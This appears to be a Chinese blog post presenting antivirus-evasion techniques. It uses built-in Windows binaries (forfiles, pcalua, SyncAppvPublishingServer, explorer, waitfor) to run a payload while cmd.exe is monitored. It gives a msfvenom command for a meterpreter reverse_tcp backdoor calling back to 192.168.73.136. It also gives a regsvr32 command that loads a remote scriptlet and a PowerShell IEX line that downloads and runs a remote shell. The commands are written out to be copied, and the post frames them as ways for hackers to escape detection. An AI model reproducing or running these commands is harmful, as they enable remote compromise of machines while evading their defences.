免杀技巧-执行系统命令方式总结

2020-12-23 10:07:04 浏览数 (1)

“在渗透测试中,常常会遇到这种情况,上传一个shell上去,连上,却发现无法调用cmd.exe无法执行系统命令,这时候你往往想着,上传一个自己的cmd.exe上去,这是一套行云流水的操作,但把环境条件在变得苛刻一点,杀毒软件将监视二进制文件,例如cmd.exe,那么你会怎么做才能逃避检测?那么接下来就会介绍一些免杀思路。”

01

背景

Windows系统提供了多个二进制文件,可以使用它们执行任意命令。

在这,你是不是想到了什么?既然可以执行命令,那么它将帮助hacker们逃过检测,尤其是对cmd.exe监视的环境下。

当然这需要一些前提条件:未正确配置白名单规则(这里涵盖了文件名和路径),使得一些系统可执行文件能够执行。

接下来

让我们看看这些项免杀技术的闪光点!

02

正文

我们先用msfvenom生成一个木马程序:

代码语言:javascript复制
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.73.136 lport=8888 -f exe -o hacker.exe

Msf监听端口8888

Forfiles:

首先,要说明的是,forfiles是Windows Server 2003内置的命令行文件,其它系统未必适用。不过,win2003以上的系统,包括win7、windows server 2008均适用哦。forfiles 是一个命令实用程序,可以选择多个文件并在它们上运行命令,它通常用于批处理作业中,但可能会被滥用以执行任意命令或可执行文件。

语法须知:

默认搜索掩码为*,也使用参数 / p和/ m在Windows目录System32 和掩码calc.exe 上执行搜索,/ c参数之后的所有内容都是实际执行的命令。

命令:

代码语言:javascript复制
forfiles /p c:windowssystem32 /m calc.exe /c C:tmphacker.exe

Msf开启会话:

毫无疑问的是,Hacker.exe 将是forfiles.exe子进程。

当然也可以用windows自带的“运行”来执行命令。

Pcalua:

进程兼容性助手是Windows实用程序,当它检测到存在兼容性问题的软件时就会运行。该实用程序位于“ C: Windows System32 ”中,并且可以使用“ -a”参数执行命令。

命令:

代码语言:javascript复制
pcalua.exe -a C:tmphacker.exe

Msf打开会话:

值得注意的是,hacker.exe将是一个新的父进程。

后面就不一一截图了,大家自行下去验证就欧克了

SyncAppvPublishingServer:

SyncAppvPublishingServer 为启动Microsoft应用程序虚拟化(App-V)发布刷新操作,在下面的示例中,将在powershell中执行, Start-Process cmdlet用于运行可执行文件。

命令:

代码语言:javascript复制
SyncAppvPublishingServer.vbs "n; Start-Process C:tmphacker.exe"

由于SyncAppvPublishingServer将执行双引号中包含的所有内容,因此还可以使用“ regsvr32 ”方法从远程位置执行恶意有效负载。

命令:

代码语言:javascript复制
SyncAppvPublishingServer.vbs "Break; regsvr32 /s /n /u /i:http://192.168.73.136:8080/jnQl1FJ.sct scrobj.dll"

Explorer:

可以将explorer.exe 用作执行方法。执行的有效负载将在系统上创建一个进程,该进程将把explorer.exe作为父进程。

命令:

代码语言:javascript复制
explorer.exe C:tmphacker.exeexplorer.exe /root,"C:tmphacker.exe"explorer.exe 0XAXSDD-Hacker, "C:tmphacker.exe"

Waitfor:

waitfor是Microsoft二进制文件,用于通过发送信号来跨网络同步计算机,也可用于执行任意命令或下载有效载荷。

命令:

代码语言:javascript复制
waitfor hacker && PowerShell IEX(new-object net.webclient).downloadstring('http://192.168.73.136:8080/shell');
waitfor /s 127.0.0.1 /si hacker

当然这里只总结了一些,也没总结完,但也值得学习与思考,希望能给你一个好的思路!

END

0 人点赞